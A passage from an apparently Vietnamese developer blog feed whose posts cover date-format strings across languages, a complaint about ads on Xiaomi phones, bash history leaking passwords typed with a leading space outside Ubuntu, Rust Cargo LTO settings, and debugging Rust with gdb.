<span class="nv">nREPL</span><span class="w"> </span><span class="nv">server</span><span class="w"> </span><span class="nv">started</span><span class="w"> </span><span class="nv">on</span><span class="w"> </span><span class="nv">port</span><span class="w"> </span><span class="mi">32771</span><span class="w"> </span><span class="nv">on</span><span class="w"> </span><span class="nv">host</span><span class="w"> </span><span class="mf">127.0</span><span class="nv">.0.1</span><span class="w"> </span><span class="nb">- </span><span class="nv">nrepl</span><span class="ss">://127.0.0.1:32771</span><span class="w"></span>
<span class="nv">REPL-y</span><span class="w"> </span><span class="mf">0.4</span><span class="nv">.3</span>,<span class="w"> </span><span class="nv">nREPL</span><span class="w"></span>
<span class="nv">Clojure</span><span class="w"> </span><span class="mf">1.10</span><span class="nv">.1</span><span class="w"></span>
<span class="nv">OpenJDK</span><span class="w"> </span><span class="mi">64</span><span class="nv">-Bit</span><span class="w"> </span><span class="nv">Server</span><span class="w"> </span><span class="nv">VM</span><span class="w"> </span><span class="mf">11.0</span><span class="nv">.17+8-post-Ubuntu-1ubuntu220.04</span><span class="w"></span>
<span class="nv">...</span><span class="w"></span>
<span class="nv">user=></span><span class="w"> </span><span class="p">(</span><span class="nf">.format</span><span class="w"> </span><span class="p">(</span><span class="nf">java.text.SimpleDateFormat.</span><span class="w"> </span><span class="s">"yyyy/MM/dd HH:mm:ss"</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="k">new </span><span class="nv">java.util.Date</span><span class="p">))</span><span class="w"></span>
<span class="s">"2023/01/04 20:33:12"</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Java dùng y thường cho năm, M hoa cho tháng , m thường cho phút, s thường cho giây.</li>
<li>Python dùng Y hoa cho năm, m thường cho tháng, M hoa cho phút, S hoa cho giây.</li>
</ul>
<h3>Go lang - một mình một kiểu</h3>
<p>Ra đời tận những năm 2000, Go quyết định format 1 mình 1 kiểu không giống ai trên đời:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="w"> </span><span class="s">"time"</span><span class="w"></span>
<span class="p">)</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">Now</span><span class="p">()</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%s\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">Format</span><span class="p">(</span><span class="s">"2006/01/02 15:04:05"</span><span class="p">))</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p><a href="https://pkg.go.dev/time#pkg-constants">https://pkg.go.dev/time#pkg-constants</a></p>
<h3>Kết luận</h3>
<p>Vì đúng sai chỉ là do góc nhìn, nên các công nhân phải chịu làm dâu trăm họ để có tiền mua cơm.</p>
<p>Hết.</p>
<p>HVN at <a href="https://pymi.vn">https://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Xiaomi - điện thoại thân thiện quảng cáo, mua ngay, giá hot2023-01-02T00:00:00+07:002023-01-02T00:00:00+07:00hvntag:familug.github.io,2023-01-02:/xiaomi-dien-thoai-than-thien-quang-cao-mua-ngay-gia-hot.html<p>Android là hệ điều hành "mã nguồn mở", với dân công nghệ từ khóa này rất hấp dẫn, nó có nghĩa là "cái gì không thích thì mình có thể thay đổi" (code), sự thật thì ... rất rất xa.</p>
<h3>Android mã nguồn mở - mở ra chả làm được gì</h3>
<p>Đúng …</p><p>Android là hệ điều hành "mã nguồn mở", với dân công nghệ từ khóa này rất hấp dẫn, nó có nghĩa là "cái gì không thích thì mình có thể thay đổi" (code), sự thật thì ... rất rất xa.</p>
<h3>Android mã nguồn mở - mở ra chả làm được gì</h3>
<p>Đúng là Android là mã nguồn mở <a href="https://source.android.com">https://source.android.com</a>, nhưng để tự build 1 cái ROM cài và dùng được cho máy điện thoại của bạn là một điều không hề đơn giản.</p>
<ul>
<li>Việc build cần tối thiểu 16GB RAM (khuyên dùng 32 hay 64GB), 400 GB ổ cứng <a href="https://source.android.com/docs/setup/start/requirements">https://source.android.com/docs/setup/start/requirements</a></li>
<li>Build mất khoảng 24 giờ, và lỡ có 1 điều nhỏ gì sai thì làm lại từ đầu</li>
<li>Chỉ build trên Linux</li>
</ul>
<p>Riêng yêu cầu 400GB ổ cứng đã gần như giới hạn hầu hết developer thường từ bỏ chuyện này. Thuê server, lấy ví dụ DigitalOcean, 32GB RAM 400GB ổ cứng SSD mất $376/tháng, đủ 1 một con điện thoại tầm trung.</p>
<p><a href="https://www.digitalocean.com/pricing/droplets">https://www.digitalocean.com/pricing/droplets</a></p>
<div class="highlight"><pre><span></span><code><span class="mf">32</span><span class="w"> </span><span class="n">GiB</span><span class="w"> </span><span class="mf">16</span><span class="w"> </span><span class="n">vCPUs</span><span class="w"> </span><span class="mf">7</span><span class="p">,</span><span class="mf">000</span><span class="w"> </span><span class="n">GiB</span><span class="w"> </span><span class="mf">2</span><span class="n">x</span><span class="w"> </span><span class="mf">400</span><span class="w"> </span><span class="n">GiB</span><span class="w"> </span><span class="err">$</span><span class="mf">0.55952</span><span class="w"> </span><span class="err">$</span><span class="mf">376.00</span><span class="w"></span>
</code></pre></div>
<p>nếu toàn bộ quá trình từ cài đặt/thử sai mất 5 ngày thì tốn ~$20 ~ 500.000 VND.</p>
<p>Giải pháp còn lại chỉ có</p>
<ul>
<li>lên các trang tin cậy tải về <a href="https://wiki.lineageos.org/devices/">https://wiki.lineageos.org/devices/</a> - nhưng lượng thiết bị được hỗ trợ cũng rất hữu hạn, tới 2023/1/1 chỉ có 1 thiết bị sản xuất năm 2022 được support, hầu hết các điện thoại của SamSung 3 năm trở lại đây đều không được hỗ trợ. <a href="https://johannes.truschnigg.info/tmp/lineageos_device_toplist.txt">https://johannes.truschnigg.info/tmp/lineageos_device_toplist.txt</a>. PS: trang https://lineageosroms.com/ không hề liên quan đến LineageOS, ROM ở đây không phải chính thức.</li>
<li>Lên <a href="https://forum.xda-developers.com/">https://forum.xda-developers.com/</a> tải ROM được người dùng khác build sẵn về - việc này về mặt bảo mật khá nhạy cảm/nguy hiểm, bạn không thể biết người dùng đó có nhét sẵn gì trong bản ROM không.</li>
</ul>
<p>Và cuối cùng, việc build Android ROM chỉ còn là cuộc chơi của những nhà sản xuất điện thoại: SamSung, XiaoMi, ... ở Việt Nam liệu còn nhãn hiệu nào khác???!!!</p>
<h3>Điện thoại Xiaomi</h3>
<p>Nếu mua 1 chiếc điện thoại, bạn muốn có... 1 chiếc điện thoại để dùng, thì ngày nay, mua điện thoại hay Tivi Android, bạn bị bắt buộc phải dùng các phần mềm để xem quảng cáo. Trên tay máy Redmi 9T, cài sẵn "MIUI 13.0.2", trải nghiệm thực sự khủng khiếp.</p>
<ul>
<li>Công bố rõ ràng ngay khi cài đặt máy lần đầu là không xem ads "tối ưu" thì xem ads chung chung.
<img alt="mi dirt" src="https://familug.github.io/images/midirt.jpeg"></li>
<li>Cài sẵn phần mềm Wallpaper/Theme/Ringtone khi bấm vào hiện quảng cáo. Bạn muốn set 1 bức ảnh làm hình nền? app sẽ được mở ra trước để hiện quảng cáo, bán theme.
<img alt="mi ads" src="https://familug.github.io/images/miads.jpeg"></li>
<li>Bạn muốn đổi nhạc chuông? App sẽ mở ra và hiện quảng cáo, phải đóng quảng cáo rồi mới hiện giao diện, để chọn file nhạc sẵn trên máy phải bấm vào nút bé tí.
<img alt="mi ads again" src="https://familug.github.io/images/mitune.jpeg"></li>
<li>Khi khóa màn hình, góc phải để bật camera, góc trái là để mở app đa năng "Wallpaper Carousel" nói trên, kèm hiện "tin tức". May mắn thay có thể tắt app WC này đi để có thể đổi Wallpaper mà không hiện quảng cáo, nhưng nó vẫn nằm ở góc màn hình lock và đổi nhạc chuông vẫn vậy.
<img alt="mi dark pattern" src="https://familug.github.io/images/midark.jpeg"></li>
<li>Thi thoảng app sẽ gửi notification mời dùng theme/wallpaper mới
<img alt="mi noti" src="https://familug.github.io/images/minoti.jpeg"></li>
<li>Xem file cũng hiện quảng cáo - đóng góp bởi bạn đọc Phú Khang - người dùng Xiaomi 5 năm không biết có quảng cáo
<img alt="mi file" src="https://familug.github.io/images/mifile.jpeg"></li>
<li>App cài sẵn hàng loạt app "hữu dụng" của Xiaomi, như "MiCoin", không có nút uninstall.
<img alt="mi crapware" src="https://familug.github.io/images/miapp.jpeg">
<img alt="mi coin" src="https://familug.github.io/images/micoin.jpeg"></li>
</ul>
<h3>Điện thoại SamSung</h3>
<p>Điện thoại SamSung năm 2020 cũng cài sẵn 1 đống crapware, nhưng dù sao không có quảng cáo.</p>
<p><a href="https://www.familug.org/2020/01/samsung-bloat.html">https://www.familug.org/2020/01/samsung-bloat.html</a></p>
<h3>Kết luận</h3>
<p>Không bao giờ mua thêm một cái điện thoại Xiaomi nào nữa.</p>
<p>Người dùng tin tưởng Apple có thể dùng IPhone, dù sao thì cũng không có quảng cáo. Còn người dùng Android... câu chuyện vẫn còn nan giải vì chẳng tin ai.</p>
<p>Hết.</p>
<p>HVN at <a href="https://pymi.vn">https://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Vài khoảng trắng không xóa đi lịch sử2022-12-02T00:00:00+07:002022-12-02T00:00:00+07:00hvntag:familug.github.io,2022-12-02:/vai-khoang-trang-khong-xoa-di-lich-su.html<p>Người dùng Ubuntu có một bí kíp để khiến cho câu lệnh vừa gõ trong bash không hiện trong lệnh "history": thêm dấu space trước khi gõ lệnh:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">docker</span><span class="w"> </span><span class="n">run</span><span class="w"> </span><span class="o">-</span><span class="n">it</span><span class="w"> </span><span class="n">ubuntu</span><span class="o">:</span><span class="mf">22.04</span><span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">me</span><span class="w"></span>
<span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">me</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you …</span></code></pre></div><p>Người dùng Ubuntu có một bí kíp để khiến cho câu lệnh vừa gõ trong bash không hiện trong lệnh "history": thêm dấu space trước khi gõ lệnh:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">docker</span><span class="w"> </span><span class="n">run</span><span class="w"> </span><span class="o">-</span><span class="n">it</span><span class="w"> </span><span class="n">ubuntu</span><span class="o">:</span><span class="mf">22.04</span><span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">me</span><span class="w"></span>
<span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">me</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">my</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">hunter42</span><span class="w"></span>
<span class="n">you</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">my</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="n">is</span><span class="w"> </span><span class="n">hunter42</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">history</span><span class="w"></span>
<span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">me</span><span class="w"></span>
<span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">history</span><span class="w"></span>
<span class="n">root</span><span class="mi">@19</span><span class="n">b65c7de3f6</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">$HISTCONTROL</span><span class="w"></span>
<span class="nl">ignoredups</span><span class="p">:</span><span class="n">ignorespace</span><span class="w"></span>
</code></pre></div>
<p>Bí kíp này ... chỉ có ở trên Ubuntu bash.</p>
<p><img alt="golden bridge" src="https://images.unsplash.com/photo-1588411393236-d2524cca1196?ixlib=rb-4.0.3&dl=ling-tang-rsD_jv_A8Yo-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@linglivestolaugh?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Ling Tang</a> on <a href="https://unsplash.com/s/photos/vietnam?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<h3>HISTCONTROL</h3>
<p>Trong bash, biến môi trường HISTCONTROL dùng để config shell sẽ lưu cái gì vào "history".
Mặc định trên Ubuntu từ xưa tới nay có giá trị:</p>
<div class="highlight"><pre><span></span><code><span class="n">ignoredups</span><span class="o">:</span><span class="n">ignorespace</span><span class="w"></span>
</code></pre></div>
<p>Nhưng điều này không đúng trên Debian cũng như nhiều hệ điều hành khác như <a href="https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces?noredirect=1&lq=1">MacOS</a>, cũng không đúng trên zsh (HIST_IGNORE_SPACE).</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">docker</span><span class="w"> </span><span class="n">run</span><span class="w"> </span><span class="o">-</span><span class="n">it</span><span class="w"> </span><span class="n">debian</span><span class="o">:</span><span class="n">bullseye</span><span class="o">-</span><span class="n">slim</span><span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"></span>
<span class="n">root</span><span class="mi">@5</span><span class="n">a7ecd7dd69e</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">mypassword</span><span class="w"></span>
<span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">mypassword</span><span class="w"></span>
<span class="n">root</span><span class="mi">@5</span><span class="n">a7ecd7dd69e</span><span class="o">:/</span><span class="err">#</span><span class="w"> </span><span class="n">history</span><span class="w"></span>
<span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">see</span><span class="w"> </span><span class="n">mypassword</span><span class="w"></span>
<span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">history</span><span class="w"></span>
</code></pre></div>
<p>Vậy nên nếu đang dùng server khác Ubuntu mà hồn nhiên gõ mật khẩu vào câu lệnh, bắt đầu bằng dấu space, thì vẫn lưu trong history như thường. Pwned!</p>
<p>HISTCONTROL</p>
<blockquote>
<p>A colon-separated list of values controlling how commands are saved on the history list. If the list of values includes ‘ignorespace’, lines which begin with a space character are not saved in the history list. A value of ‘ignoredups’ causes lines which match the previous history entry to not be saved. A value of ‘ignoreboth’ is shorthand for ‘ignorespace’ and ‘ignoredups’. A value of ‘erasedups’ causes all previous lines matching the current line to be removed from the history list before that line is saved. Any value not in the above list is ignored. If HISTCONTROL is unset, or does not include a valid value, all lines read by the shell parser are saved on the history list, subject to the value of HISTIGNORE. The second and subsequent lines of a multi-line compound command are not tested, and are added to the history regardless of the value of HISTCONTROL.</p>
</blockquote>
<p><a href="https://www.gnu.org/software/bash/manual/bash.html">https://www.gnu.org/software/bash/manual/bash.html</a></p>
<h3>Kết luận</h3>
<p>Không gõ password trong câu lệnh dưới mọi hình thức!</p>
<h2>Tham khảo</h2>
<p>Happy ~enter~ leak password in commandline.</p>
<p>Hết.</p>
<p>HVN at http://pymi.vn and https://www.familug.org.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Rust Cargo release build is not the fastest2022-11-29T00:00:00+07:002022-11-29T00:00:00+07:00hvntag:familug.github.io,2022-11-29:/rust-cargo-release-build-is-not-the-fastest.html<p>By default, <code>cargo build</code> will build a debug binary at ./target/debug/filename, which is helpful for development/debug but without many binary optimizations, thus, runs slow.</p>
<p>When build with <code>cargo build --release</code>, it will build an optimized binary, which is ready for production:</p>
<div class="highlight"><pre><span></span><code>--release Build artifacts in release mode …</code></pre></div><p>By default, <code>cargo build</code> will build a debug binary at ./target/debug/filename, which is helpful for development/debug but without many binary optimizations, thus, runs slow.</p>
<p>When build with <code>cargo build --release</code>, it will build an optimized binary, which is ready for production:</p>
<div class="highlight"><pre><span></span><code>--release Build artifacts in release mode, with optimizations
</code></pre></div>
<p>But it still not the fastest it can be.</p>
<h2>Cargo profiles</h2>
<p>Cargo has 4 builtin profiles: <code>dev, release, test, and bench</code> <a href="https://doc.rust-lang.org/cargo/reference/profiles.html">https://doc.rust-lang.org/cargo/reference/profiles.html</a> which pre-defined build options.
User can customize them in Cargo.toml, e.g:</p>
<div class="highlight"><pre><span></span><code><span class="k">[profile.dev]</span><span class="w"></span>
<span class="na">opt-level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span><span class="w"></span>
<span class="na">debug</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">true</span><span class="w"></span>
</code></pre></div>
<h2>LTO - Link time optimizations</h2>
<p><a href="https://doc.rust-lang.org/cargo/reference/profiles.html#lto">https://doc.rust-lang.org/cargo/reference/profiles.html#lto</a></p>
<p>Default profile.release sets lto = false.</p>
<div class="highlight"><pre><span></span><code><span class="k">[profile.release]</span><span class="w"></span>
<span class="na">opt-level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">3</span><span class="w"></span>
<span class="na">debug</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
<span class="na">split-debuginfo</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">'...' # Platform-specific.</span><span class="w"></span>
<span class="na">debug-assertions</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
<span class="na">overflow-checks</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
<span class="na">lto</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
<span class="na">panic</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">'unwind'</span><span class="w"></span>
<span class="na">incremental</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
<span class="na">codegen-units</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16</span><span class="w"></span>
<span class="na">rpath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span><span class="w"></span>
</code></pre></div>
<p>Set lto = true or lto = "fat" will</p>
<blockquote>
<p>Performs "fat" LTO which attempts to perform optimizations across all crates within the dependency graph.</p>
</blockquote>
<p>which makes build much slower, but the binary often faster 10-20% compare to lto = false.
User may try lto = "thin" for faster build but the output still good comparable to lto = "fat"</p>
<blockquote>
<p>"thin": Performs "thin" LTO. This is similar to "fat", but takes substantially less time to run while still achieving performance gains similar to "fat".</p>
</blockquote>
<h2>Reference</h2>
<ul>
<li><a href="https://doc.rust-lang.org/cargo/reference/profiles.html#lto">https://doc.rust-lang.org/cargo/reference/profiles.html#lto</a></li>
</ul>
<p>Happy building!</p>Học Rust với gdb2022-11-28T00:00:00+07:002022-11-28T00:00:00+07:00hvntag:familug.github.io,2022-11-28:/hoc-rust-voi-gdb.html<p>Dùng Rust viết ví dụ để học gdb.</p>
<h2>gdb là gì</h2>
<div class="highlight"><pre><span></span><code>$ whatis gdb
gdb <span class="o">(</span><span class="m">1</span><span class="o">)</span> - The GNU Debugger
</code></pre></div>
<p>GDB là 1 debugger trên dòng lệnh, mặc dù ít biết tới nhưng nó có cả giao diện
TUI - giống như đồ họa trên text. gdb là debugger lừng danh luôn dùng …</p><p>Dùng Rust viết ví dụ để học gdb.</p>
<h2>gdb là gì</h2>
<div class="highlight"><pre><span></span><code>$ whatis gdb
gdb <span class="o">(</span><span class="m">1</span><span class="o">)</span> - The GNU Debugger
</code></pre></div>
<p>GDB là 1 debugger trên dòng lệnh, mặc dù ít biết tới nhưng nó có cả giao diện
TUI - giống như đồ họa trên text. gdb là debugger lừng danh luôn dùng để debug
code C. Ngoài C, gdb hỗ trợ nhiều ngôn ngữ bao gồm cả Rust/Go...</p>
<p><a href="https://sourceware.org/gdb/">What Languages does GDB Support?</a></p>
<div class="highlight"><pre><span></span><code><span class="n">GDB</span><span class="w"> </span><span class="n">supports</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="n">languages</span><span class="w"> </span><span class="p">(</span><span class="ow">in</span><span class="w"> </span><span class="n">alphabetical</span><span class="w"> </span><span class="k">order</span><span class="p">)</span><span class="err">:</span><span class="w"></span>
<span class="w"> </span><span class="k">Ada</span><span class="w"></span>
<span class="w"> </span><span class="n">Assembly</span><span class="w"></span>
<span class="w"> </span><span class="n">C</span><span class="w"></span>
<span class="w"> </span><span class="n">C</span><span class="o">++</span><span class="w"></span>
<span class="w"> </span><span class="n">D</span><span class="w"></span>
<span class="w"> </span><span class="k">Fortran</span><span class="w"></span>
<span class="w"> </span><span class="k">Go</span><span class="w"></span>
<span class="w"> </span><span class="n">Objective</span><span class="o">-</span><span class="n">C</span><span class="w"></span>
<span class="w"> </span><span class="n">OpenCL</span><span class="w"></span>
<span class="w"> </span><span class="n">Modula</span><span class="o">-</span><span class="mi">2</span><span class="w"></span>
<span class="w"> </span><span class="k">Pascal</span><span class="w"></span>
<span class="w"> </span><span class="n">Rust</span><span class="w"></span>
</code></pre></div>
<p>gdb hỗ trợ các ngôn ngữ compile thành binary, còn Python có sẵn <code>pdb</code> cũng
tương tự.</p>
<h2>Cài gdb trên Ubuntu 20.04</h2>
<div class="highlight"><pre><span></span><code>$ sudo apt install -y gdb
</code></pre></div>
<h2>Cài Rust trên Ubuntu 20.04</h2>
<div class="highlight"><pre><span></span><code>$ curl --proto <span class="s1">'=https'</span> --tlsv1.2 -sSf https://sh.rustup.rs <span class="p">|</span> sh
</code></pre></div>
<p>theo <a href="https://www.rust-lang.org/tools/install">https://www.rust-lang.org/tools/install</a></p>
<h2>Tạo chương trình Rust đơn giản với stack và heap</h2>
<p>Tạo project mới:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">cargo</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">gdbplay</span><span class="w"></span>
<span class="w"> </span><span class="n">Created</span><span class="w"> </span><span class="kt">binary</span><span class="w"> </span><span class="p">(</span><span class="n">application</span><span class="p">)</span><span class="w"> </span><span class="n n-Quoted">`gdbplay`</span><span class="w"> </span><span class="n">package</span><span class="w"></span>
</code></pre></div>
<p>Sửa nội dung file <code>gdbplay/src/main.rs</code> như sau:</p>
<div class="highlight"><pre><span></span><code><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">println!</span><span class="p">(</span><span class="s">"Hello, world!"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">stack_only</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">stack_and_heap</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="k">fn</span> <span class="nf">stack_only</span><span class="p">(</span><span class="n">_x</span>: <span class="kt">i32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="fm">println!</span><span class="p">(</span><span class="s">"{}"</span><span class="p">,</span><span class="w"> </span><span class="n">a</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="k">fn</span> <span class="nf">stack_and_heap</span><span class="p">(</span><span class="n">_y</span>: <span class="kt">i32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">7</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Box</span>::<span class="n">new</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="fm">println!</span><span class="p">(</span><span class="s">"{} {}"</span><span class="p">,</span><span class="w"> </span><span class="n">b</span><span class="p">,</span><span class="w"> </span><span class="n">p</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<h2>Debug rust với gdb</h2>
<p>Các câu lệnh cơ bản của gdb trong bài:</p>
<ul>
<li><code>list</code>: in source code ra màn hình</li>
<li><code>b N</code>: đặt breakpoint tại dòng N, debugger sẽ dừng lại khi chạy tới dòng N</li>
<li><code>start</code>: bắt đầu chạy chương trình</li>
<li><code>s</code>: step into - chui vào function</li>
<li><code>c</code>: continue - chạy tới breakpoint tiếp theo.</li>
<li><code>n</code>: next - chạy tới dòng tiếp theo</li>
<li><code>bt</code>: hiển thị backtrace - tất cả các "stackframe"</li>
<li><code>info locals</code>: in ra các biến local</li>
<li><code>info args</code>: in ra các argument của function hiện tại.</li>
</ul>
<p>Gõ <code>help all</code> để xem các câu lệnh khác.</p>
<p>Các câu lệnh gõ vào ở dòng bắt đầu với (gdb)</p>
<div class="highlight"><pre><span></span><code><span class="o">$</span><span class="w"> </span><span class="n">cargo</span><span class="w"> </span><span class="n">build</span><span class="w"></span>
<span class="w"> </span><span class="n">Compiling</span><span class="w"> </span><span class="n">gdbplay</span><span class="w"> </span><span class="n">v0</span><span class="o">.</span><span class="mf">1.0</span><span class="w"> </span><span class="p">(</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">me</span><span class="o">/</span><span class="n">familug</span><span class="o">.</span><span class="n">github</span><span class="o">.</span><span class="n">io</span><span class="o">/</span><span class="n">content</span><span class="o">/</span><span class="n">gdbplay</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">Finished</span><span class="w"> </span><span class="n">dev</span><span class="w"> </span><span class="p">[</span><span class="n">unoptimized</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">debuginfo</span><span class="p">]</span><span class="w"> </span><span class="n">target</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="mf">0.21</span><span class="n">s</span><span class="w"></span>
<span class="o">$</span><span class="w"> </span><span class="n">gdb</span><span class="w"> </span><span class="n">target</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">gdbplay</span><span class="w"></span>
<span class="n">GNU</span><span class="w"> </span><span class="n">gdb</span><span class="w"> </span><span class="p">(</span><span class="n">Ubuntu</span><span class="w"> </span><span class="mf">9.2</span><span class="o">-</span><span class="mi">0</span><span class="n">ubuntu1</span><span class="o">~</span><span class="mf">20.04</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="mf">9.2</span><span class="w"></span>
<span class="o">...</span><span class="w"></span>
<span class="n">Reading</span><span class="w"> </span><span class="n">symbols</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">target</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">gdbplay</span><span class="o">...</span><span class="w"></span>
<span class="n">warning</span><span class="p">:</span><span class="w"> </span><span class="n">Missing</span><span class="w"> </span><span class="n">auto</span><span class="o">-</span><span class="nb">load</span><span class="w"> </span><span class="n">script</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">section</span><span class="w"> </span><span class="o">.</span><span class="n">debug_gdb_scripts</span><span class="w"></span>
